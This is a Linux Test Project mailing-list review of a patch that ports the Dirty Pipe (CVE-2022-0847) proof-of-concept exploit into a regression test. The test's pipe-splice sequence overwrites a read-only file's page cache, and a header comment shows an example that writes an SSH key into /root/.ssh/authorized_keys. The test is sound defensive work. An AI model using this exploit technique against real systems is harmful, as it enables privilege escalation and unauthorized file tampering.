[LTP] [PATCH] security/dirtypipe: Add test for CVE-2022-0847
xuyang2018.jy@fujitsu.com
xuyang2018.jy@fujitsu.com
Tue Jul 12 03:44:10 CEST 2022
Hi Richard
> Hello,
>
> Yang Xu <xuyang2018.jy@fujitsu.com> writes:
>
>> Fixes: #921
>> Signed-off-by: Yang Xu <xuyang2018.jy@fujitsu.com>
>> ---
>> runtest/cve | 1 +
>> runtest/syscalls | 1 +
>> .../kernel/security/dirtypipe/.gitignore | 1 +
>> testcases/kernel/security/dirtypipe/Makefile | 6 +
>> .../kernel/security/dirtypipe/dirtypipe.c | 195 ++++++++++++++++++
>> 5 files changed, 204 insertions(+)
>> create mode 100644 testcases/kernel/security/dirtypipe/.gitignore
>> create mode 100644 testcases/kernel/security/dirtypipe/Makefile
>> create mode 100644 testcases/kernel/security/dirtypipe/dirtypipe.c
>>
>> diff --git a/runtest/cve b/runtest/cve
>> index eaaaa19d7..9ab6dc282 100644
>> --- a/runtest/cve
>> +++ b/runtest/cve
>> @@ -72,5 +72,6 @@ cve-2021-4034 execve06
>> cve-2021-22555 setsockopt08 -i 100
>> cve-2021-26708 vsock01
>> cve-2021-22600 setsockopt09
>> +cve-2022-0847 dirtypipe
>> # Tests below may cause kernel memory leak
>> cve-2020-25704 perf_event_open03
>> diff --git a/runtest/syscalls b/runtest/syscalls
>> index a0935821a..efef18136 100644
>> --- a/runtest/syscalls
>> +++ b/runtest/syscalls
>> @@ -1035,6 +1035,7 @@ process_vm_writev02 process_vm_writev02
>>
>> prot_hsymlinks prot_hsymlinks
>> dirtyc0w dirtyc0w
>> +dirtypipe dirtypipe
>>
>> pselect01 pselect01
>> pselect01_64 pselect01_64
>> diff --git a/testcases/kernel/security/dirtypipe/.gitignore b/testcases/kernel/security/dirtypipe/.gitignore
>> new file mode 100644
>> index 000000000..fdf39eed2
>> --- /dev/null
>> +++ b/testcases/kernel/security/dirtypipe/.gitignore
>> @@ -0,0 +1 @@
>> +/dirtypipe
>> diff --git a/testcases/kernel/security/dirtypipe/Makefile b/testcases/kernel/security/dirtypipe/Makefile
>> new file mode 100644
>> index 000000000..5ea7d67db
>> --- /dev/null
>> +++ b/testcases/kernel/security/dirtypipe/Makefile
>> @@ -0,0 +1,6 @@
>> +# SPDX-License-Identifier: GPL-2.0-or-later
>> +
>> +top_srcdir ?= ../../../..
>> +
>> +include $(top_srcdir)/include/mk/testcases.mk
>> +include $(top_srcdir)/include/mk/generic_leaf_target.mk
>> diff --git a/testcases/kernel/security/dirtypipe/dirtypipe.c b/testcases/kernel/security/dirtypipe/dirtypipe.c
>> new file mode 100644
>> index 000000000..dfe7f5985
>> --- /dev/null
>> +++ b/testcases/kernel/security/dirtypipe/dirtypipe.c
>> @@ -0,0 +1,195 @@
>> +// SPDX-License-Identifier: GPL-2.0
>> +/*
>> + * Copyright 2022 CM4all GmbH / IONOS SE
>> + *
>> + * Author: Max Kellermann <max.kellermann@ionos.com>
>> + *
>> + * Ported into ltp by Yang Xu <xuyang2018.jy@fujitsu.com>
>> + */
>> +
>> +/*\
>> + * [Description]
>> + *
>> + * Proof-of-concept exploit for the Dirty Pipe
>> + * vulnerability (CVE-2022-0847) caused by an uninitialized
>> + * "pipe_buffer.flags" variable. It demonstrates how to overwrite any
>> + * file contents in the page cache, even if the file is not permitted
>> + * to be written, immutable or on a read-only mount.
>> + *
>> + * This exploit requires Linux 5.8 or later; the code path was made
>> + * reachable by commit f6dd975583bd ("pipe: merge
>> + * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
>> + * there before, it just provided an easy way to exploit it.
>> + *
>> + * There are two major limitations of this exploit: the offset cannot
>> + * be on a page boundary (it needs to write one byte before the offset
>> + * to add a reference to this page to the pipe), and the write cannot
>> + * cross a page boundary.
>> + *
>> + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
>> + *
>> + * Further explanation: https://dirtypipe.cm4all.com/
>> + */
>
> Thanks for doing the conversion, this is an important test IMO. However
> it needs to be simplified. There is code here that mede sense in the
> original PoC, but is just a maintenance risk here. Please see below.
>
>
>> +
>> +#ifndef _GNU_SOURCE
>> +#define _GNU_SOURCE
>> +#endif
>> +#include <unistd.h>
>> +#include <fcntl.h>
>> +#include <stdio.h>
>> +#include <stdlib.h>
>> +#include <string.h>
>> +#include <sys/stat.h>
>> +#include <sys/user.h>
>> +#include "tst_test.h"
>> +
>> +#define TEXT "AAAAAAAABBBBBBBB"
>> +#define TESTFILE "testfile"
>> +#define CHUNK 64
>> +#define BUFSIZE 4096
>> +
>> +static int p[2] = {-1, -1}, fd = -1, page_size;
>> +static char *write_buf, *read_buf;
>> +
>> +static void check_file_contents(void)
>> +{
>> + SAFE_LSEEK(fd, 0, SEEK_SET);
>> + SAFE_READ(1, fd, read_buf, 4096);
>> +
>> + if (memcmp(write_buf, read_buf, 4096) != 0)
>> + tst_res(TFAIL, "read buf data mismatch, bug exists");
>> + else
>> + tst_res(TPASS, "read buff data match, bug doesn't exist");
>> +}
>> +
>> +/*
>> + * Create a pipe where all "bufs" on the pipe_inode_info ring have the
>> + * PIPE_BUF_FLAG_CAN_MERGE flag set.
>> + */
>> +static void prepare_pipe(void)
>> +{
>> + unsigned int pipe_size, total, n, len;
>> + char buffer[BUFSIZE];
>> +
>> + SAFE_PIPE(p);
>> + pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ);
>> +
>> + /*
>> + * fill the pipe completely; each pipe_buffer will now have the
>> + * PIPE_BUF_FLAG_CAN_MERGE flag
>> + */
>> + for (total = pipe_size; total > 0;) {
>> + n = total > sizeof(buffer) ? sizeof(buffer) : total;
>> + len = SAFE_WRITE(1, p[1], buffer, n);
>> + total -= len;
>> + }
>> +
>> + /*
>> + * drain the pipe, freeing all pipe_buffer instances (but leaving the
>> + * flags initialized)
>> + */
>> + for (total = pipe_size; total > 0;) {
>> + n = total > sizeof(buffer) ? sizeof(buffer) : total;
>> + len = SAFE_READ(1, p[0], buffer, n);
>> + total -= len;
>> + }
>> +
>> + /*
>> + * the pipe is now empty, and if somebody adds a new pipe_buffer
>> + * without initializing its "flags", the buffe wiill be mergeable
>> + */
>> +}
>> +
>> +static void run(void)
>> +{
>> + off_t offset;
>> + int data_size, len;
>> + struct stat st;
>> + ssize_t nbytes;
>> + loff_t next_page, end_offset;
>> +
>> + offset = 1;
>> + data_size = strlen(TEXT);
>> + next_page = (offset | (page_size - 1)) + 1;
>
> I think if the offset is 1 then the next page is just page_size + 1.
Agree.
>
>> + end_offset = offset + (loff_t)data_size;
>> + if (end_offset > next_page)
>> + tst_brk(TFAIL, "Sorry, cannot write across a page
>> boundary");
>> +
>> + fd = SAFE_OPEN(TESTFILE, O_RDONLY);
>> + SAFE_FSTAT(fd, &st);
>> +
>> + if (offset > st.st_size)
>> + tst_brk(TFAIL, "Offset is not inside the file");
>> + if (end_offset > st.st_size)
>> + tst_brk(TFAIL, "Sorry, cannot enlarget the file");
>
> This checks the file was written to with enough data already. We can do
> that in setup or not at all. Also the error message should make
> sense. It makes sense in the original reproducer which takes arbtrary
> files and offsets, but not here.
OK.
>
>> +
>> + /*
>> + * create the pipe with all flags initialized with
>> + * PIPE_BUF_FLAG_CAN_MERGE
>> + */
>
> This comment is redundant
Will remove on v2.
>
>> + prepare_pipe();
>> +
>> + /*
>> + * splice one byte from before the specified offset into the pipe;
>> + * this will add a reference to the page cache, but since
>> + * copy_page_to_iter_pipe() does not initialize the "flags",
>> + * PIPE_BUF_FLAG_CAN_MERGE is still set
>> + */
>> + --offset;
>
> So we just use an offset of 0. The above code can probably all be
> removed.
Yes.
>
>> + nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
>> + if (nbytes < 0)
>> + tst_brk(TFAIL, "splice failed");
>> + if (nbytes == 0)
>> + tst_brk(TFAIL, "short splice");
>> +
>> + /*
>> + * the following write will not create a new pipe_buffer, but
>> + * will instead write into the page cache, because of the
>> + * PIPE_BUF_FLAG_CAN_MERGE flag
>> + */
>> + len = SAFE_WRITE(1, p[1], TEXT, data_size);
>> + if (len < nbytes)
>> + tst_brk(TFAIL, "short write");
>> +
>> + check_file_contents();
>> + SAFE_CLOSE(p[0]);
>> + SAFE_CLOSE(p[1]);
>> + SAFE_CLOSE(fd);
>> +}
>> +
>> +static void setup(void)
>> +{
>> + memset(write_buf, 0xff, 4096);
>> +
>> + page_size = SAFE_SYSCONF(_SC_PAGESIZE);
>
> I don't think we even need the page size, we can just assume it is >=
> 4Kb which TEXT is not close to in size.
Yes.
>
>> +
>> + /*write 4k 0xff to file*/
>
> Inline comments which are describing non-obvious things about kernel
> internals are fine. However this is just describing what an LTP library
> function does. It's against the style guide.
Sound reasonable.
>
>> + tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);
>
> write_buf isn't used for writing. I think it would be better to call it
> pattern_buf or just check the first sizeof(TEXT) bytes are not 0xff.
I will think about it.
Thanks for your review.
Best Regards
Yang Xu
>
>> +}
>> +
>> +static void cleanup(void)
>> +{
>> + if (p[0] > -1)
>> + SAFE_CLOSE(p[0]);
>> + if (p[1] > -1)
>> + SAFE_CLOSE(p[1]);
>> + if (fd > -1)
>> + SAFE_CLOSE(fd);
>> +}
>> +
>> +static struct tst_test test = {
>> + .setup = setup,
>> + .cleanup = cleanup,
>> + .test_all = run,
>> + .needs_tmpdir = 1,
>> + .bufs = (struct tst_buffers []) {
>> + {&write_buf, .size = 4096},
>> + {&read_buf, .size = 4096},
>> + {},
>> + },
>> + .tags = (const struct tst_tag[]) {
>> + {"linux-git", "9d2231c5d74e"},
>> + {"CVE", "CVE-2022-0847"},
>> + {},
>> + }
>> +};
>> --
>> 2.27.0
>
>
>
More information about the ltp
mailing list